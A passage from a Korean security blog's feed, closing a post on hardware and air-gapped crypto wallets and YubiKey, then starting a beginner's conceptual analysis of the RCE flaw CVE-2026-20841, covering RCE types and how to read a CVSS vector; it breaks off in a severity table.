&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Ledger builds the world's leading certified secure crypto asset hardware wallets. Optimal protection for your BTC, ETH, XRP and more - in your full control.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;shop.ledger.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개인 키를 내부의 칩에 가둬두는 형식!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;돈을 보낼 때 물리적 버튼을 눌러야만 승인이 허가된답니다?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대표적인 제품으로는 링크를 첨부한 레저사의 제품이 있구요, 이외에는 트레저사의 제품도 있다네요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 에어 갭&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://keyst.one/?srsltid=AfmBOopT3Yq_-RNiAuxcPPi25yaEgujOreX8jVebHzNUsjjY04ZE2O1W&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://keyst.one/?srsltid=AfmBOopT3Yq_-RNiAuxcPPi25yaEgujOreX8jVebHzNUsjjY04ZE2O1W&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1778031163536&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Keystone Wallet | Secure Open Source Crypto Solution&quot; data-og-description=&quot;1m drop, scratch &amp;amp; wear resistant. full Keystone protection.&quot; data-og-host=&quot;keyst.one&quot; data-og-source-url=&quot;https://keyst.one/?srsltid=AfmBOopT3Yq_-RNiAuxcPPi25yaEgujOreX8jVebHzNUsjjY04ZE2O1W&quot; data-og-url=&quot;https://keyst.one/?srsltid=AfmBOopT3Yq_-RNiAuxcPPi25yaEgujOreX8jVebHzNUsjjY04ZE2O1W&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://keyst.one/?srsltid=AfmBOopT3Yq_-RNiAuxcPPi25yaEgujOreX8jVebHzNUsjjY04ZE2O1W&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://keyst.one/?srsltid=AfmBOopT3Yq_-RNiAuxcPPi25yaEgujOreX8jVebHzNUsjjY04ZE2O1W&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Keystone Wallet | Secure Open Source Crypto Solution&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;1m drop, scratch &amp;amp; wear resistant. full Keystone protection.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;keyst.one&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아예 컴퓨터와 선 조차도 연결하지 않는 방식이라구 해요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;QR혹은 마이크로SD카드로만 데이터를 주고받습니다 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대표적인 제품으로는 keystoen사, SafePal사의 제품이 있구요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. Yubikey&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코인 지갑은 아니지만, 물리적 보안 인증의 좋은 사례라고 해요!&lt;br /&gt;해커가 비밀번호를 알아낸다한들, 이 물리적 열쇠로 로그인을 할 수 있기 때문에 보안에 효과적입니다&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;752&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRyC3r/dJMcagk5iVB/kowQAUZopRBI1CXyxDi2L0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRyC3r/dJMcagk5iVB/kowQAUZopRBI1CXyxDi2L0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRyC3r/dJMcagk5iVB/kowQAUZopRBI1CXyxDi2L0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRyC3r%2FdJMcagk5iVB%2FkowQAUZopRBI1CXyxDi2L0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;698&quot; height=&quot;752&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;752&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 쿠팡에서도 팔고있네요? ㅎㅎ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;근데왜 19금이냐 이건&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예 뭐 여하튼 그렇습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자 오늘의 이슈 분석은 여기까지 하겠구요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러분들도 앞으로 주기적인 보안 감사를 하시면서~??&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;슬기로운 유저가 되시길 바랍니다 . . .&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 안녕&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;735&quot; data-origin-height=&quot;550&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HvSOD/dJMcaf7xBo8/EKF29uuqXjOSdHKLdVUth1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HvSOD/dJMcaf7xBo8/EKF29uuqXjOSdHKLdVUth1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HvSOD/dJMcaf7xBo8/EKF29uuqXjOSdHKLdVUth1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHvSOD%2FdJMcaf7xBo8%2FEKF29uuqXjOSdHKLdVUth1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;735&quot; height=&quot;550&quot; data-origin-width=&quot;735&quot; data-origin-height=&quot;550&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category> ️ 보안 코스요리/  치즈 정보보안 스프</category>
      <author>곰젤리마스터</author>
      <guid isPermaLink="true">https://gummybearsong.tistory.com/18</guid>
      <comments>https://gummybearsong.tistory.com/18#entry18comment</comments>
      <pubDate>Wed, 6 May 2026 10:38:16 +0900</pubDate>
    </item>
    <item>
      <title>RCE 취약점 분석 (CVE-2026-20841)</title>
      <link>https://gummybearsong.tistory.com/17</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;안녕하세요 여러분?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 블로그는 RCE 취약점 분석으로 돌아왔습니다 .&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아시다시피 이 스프가게에서는...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다양한 스프를 끓입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번엔 맛없는 브로콜리 스프를 끓여보겠습니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브로콜리 취약점 스프를요...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(취약점 분석하겠다는 뜻)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;337&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzYl6W/dJMcai3NUfo/6sjZGwffly1QkLrzpNo17K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzYl6W/dJMcai3NUfo/6sjZGwffly1QkLrzpNo17K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzYl6W/dJMcai3NUfo/6sjZGwffly1QkLrzpNo17K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzYl6W%2FdJMcai3NUfo%2F6sjZGwffly1QkLrzpNo17K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;488&quot; height=&quot;274&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;337&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자자. 그러면 시작해볼게요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style7&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 RCE란?&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Remote Code Execution&lt;br /&gt;&lt;/span&gt;원격 코드 실행&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이라고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 네트워크를 통해 취약한 시스템에서 임의의 명령어나 코드를 원격으로 실행할 수 있게 하는 보안 약점이라고 하는데요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한마디로 &lt;b&gt;공격자가 멀리 떨어진 곳에서도&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;네트워크로 대상 컴퓨터나 서버에 본인이 원하는 명령어나 코드를 실행시키는 취약점&lt;/b&gt;입니다 !!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대표적인 유형으로는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #c0d1e7;&quot;&gt;Command Injection : 명령어 주입&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; 가장 클래식한 방법 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹사이트가 사용자에게 입력받은 값을 그대로 시스템 명령어로 쓸 때 발생 !!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #c0d1e7;&quot;&gt;Unsafe Deserialization : 안전하지 않는 역직렬화&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; 프로그래밍 언어에서 데이터를 객체로 변환하는 과정을 노림&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 서버가 데이터를 읽어들이는 순간에, 내부에 은닉된 코드가 터지면서 실행하게 됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #c0d1e7;&quot;&gt;File Upload Vulnerability : 파일 업로드 취약점&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; 사용자로 하여금 공격 파일에 접근하게끔 유도함!!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #c0d1e7;&quot;&gt;Buffer Overflow : 버퍼 오버플로우&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; 데이터가 넘치게 되면, 돌아가야 할 주소까지 침범해서 공격자가 원하는 주소로 바꿔버림!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 RCE의 핵심은 &quot;강제성&quot;에 있게 됩니다..!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조금 더 정확히 말하면 제어 흐름을 가로채는 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background-color: #c0d1e7;&quot;&gt;CVE-2026-20841 분석&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://asec.ahnlab.com/ko/92556/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://asec.ahnlab.com/ko/92556/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1774936009112&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;MS 제품군 2026년 2월 정기 보안 업데이트 권고 - ASEC&quot; data-og-description=&quot;MS 제품군 2026년 2월 정기 보안 업데이트 권고 ASEC&quot; data-og-host=&quot;asec.ahnlab.com&quot; data-og-source-url=&quot;https://asec.ahnlab.com/ko/92556/&quot; data-og-url=&quot;http://asec.ahnlab.com/ko/92556/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bjt8HD/dJMb9jgxniv/cWcN5vZ7HPSDrCNHSBG5tk/img.jpg?width=1024&amp;amp;height=1024&amp;amp;face=222_275_281_340&quot;&gt;&lt;a href=&quot;https://asec.ahnlab.com/ko/92556/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://asec.ahnlab.com/ko/92556/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bjt8HD/dJMb9jgxniv/cWcN5vZ7HPSDrCNHSBG5tk/img.jpg?width=1024&amp;amp;height=1024&amp;amp;face=222_275_281_340');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;MS 제품군 2026년 2월 정기 보안 업데이트 권고 - ASEC&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;MS 제품군 2026년 2월 정기 보안 업데이트 권고 ASEC&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;asec.ahnlab.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안랩의 보안 권고문에 따르면,&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-03-31 144553.png&quot; data-origin-width=&quot;832&quot; data-origin-height=&quot;144&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qF5eJ/dJMcahw8lzl/L4EJcXv7m6RMc2TKzmHPi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qF5eJ/dJMcahw8lzl/L4EJcXv7m6RMc2TKzmHPi1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qF5eJ/dJMcahw8lzl/L4EJcXv7m6RMc2TKzmHPi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqF5eJ%2FdJMcahw8lzl%2FL4EJcXv7m6RMc2TKzmHPi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;832&quot; height=&quot;144&quot; data-filename=&quot;스크린샷 2026-03-31 144553.png&quot; data-origin-width=&quot;832&quot; data-origin-height=&quot;144&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;금년 2월에 보고된 RCE 취약점 중 하나라고 합니다 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 그리구 일단&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점 분석?! 에 있어서 정말 뉴비이기 때문에 처음부터 끝까지 하나하나 알아볼게요 !&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;참고 문헌&lt;br /&gt;(2019). 스프링 서버 원격코드 실행 취약점(CVE-2018-1270)을 이용한 응용 공격 시나리오의 대응 방안. 한국전자통신학회 논문지, 14(2), 303-308.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;CVE란?&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Common Vulnerablities and Exposures!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 정보보안 취약점 표준 코드의 약자입니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 취약점이 발견 될 때마다 고유한 코드를 붙이는 것 !!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 이 취약점은 어떤 부분에 대한 취약점일까요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 마이크로소프트사에서 작성한 취약점 보고서를 살펴볼까요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775003974062&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Security Update Guide - Microsoft Security Response Center&quot; data-og-description=&quot;&quot; data-og-host=&quot;msrc.microsoft.com&quot; data-og-source-url=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841&quot; data-og-url=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Security Update Guide - Microsoft Security Response Center&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;msrc.microsoft.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-01 093747.png&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;728&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ce2Vh8/dJMcafTCFql/k9MMhlBSKeOBX4iLkZ3bR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ce2Vh8/dJMcafTCFql/k9MMhlBSKeOBX4iLkZ3bR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ce2Vh8/dJMcafTCFql/k9MMhlBSKeOBX4iLkZ3bR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fce2Vh8%2FdJMcafTCFql%2Fk9MMhlBSKeOBX4iLkZ3bR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;874&quot; height=&quot;728&quot; data-filename=&quot;스크린샷 2026-04-01 093747.png&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;728&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보시다시피 이런 내용들이 담겨있습니다 .&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 중요한 정보가 뭘까요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 취약점의 고유한 성격과 위험도를 나타내는 문자열인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;벡터 문자열입니다 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 요 문자열은 슬래시를 기준으로 끊어 읽어야 합니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞쪽부터 살펴보도록 합시다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CVSS:3.1&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Common Vulnerability Scoring System으로,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 취약점이 얼마나 위험한지 점수로 매기는 전 세계 공통 표준 가이드라인입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주관적으로 취약점을 평가하게 되면,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점의 위험도를 보는 기준이 모호해지겠지요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 국제적으로 가이드라인을 세운 것입니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무튼 , 이 가이드라인의 점수체계를 살펴보자면,&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 21.5122%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.4948%;&quot;&gt;점수 범위&lt;/td&gt;
&lt;td style=&quot;width: 9.25911%;&quot;&gt;심각도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.4948%;&quot;&gt;0.0&lt;/td&gt;
&lt;td style=&quot;width: 9.25911%;&quot;&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.4948%;&quot;&gt;0.1-3.9&lt;/td&gt;
&lt;td style=&quot;width: 9.25911%;&quot;&gt;낮음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.4948%;&quot;&gt;4.0-6.9&lt;/td&gt;
&lt;td style=&quot;width: 9.25911%;&quot;&gt;중간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.4948%;&quot;&gt;7.0-8.9&lt;/td&gt;
&lt;td style=&quot;width: 9.25911%;&quot;&gt;높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.4948%;&quot;&gt;9.0-10.0&lt;/td&gt;
&lt;td style=&quot;width: 9.25911%;&quot;&gt;중요&lt;/td&gt;
&lt;/tr&gt;
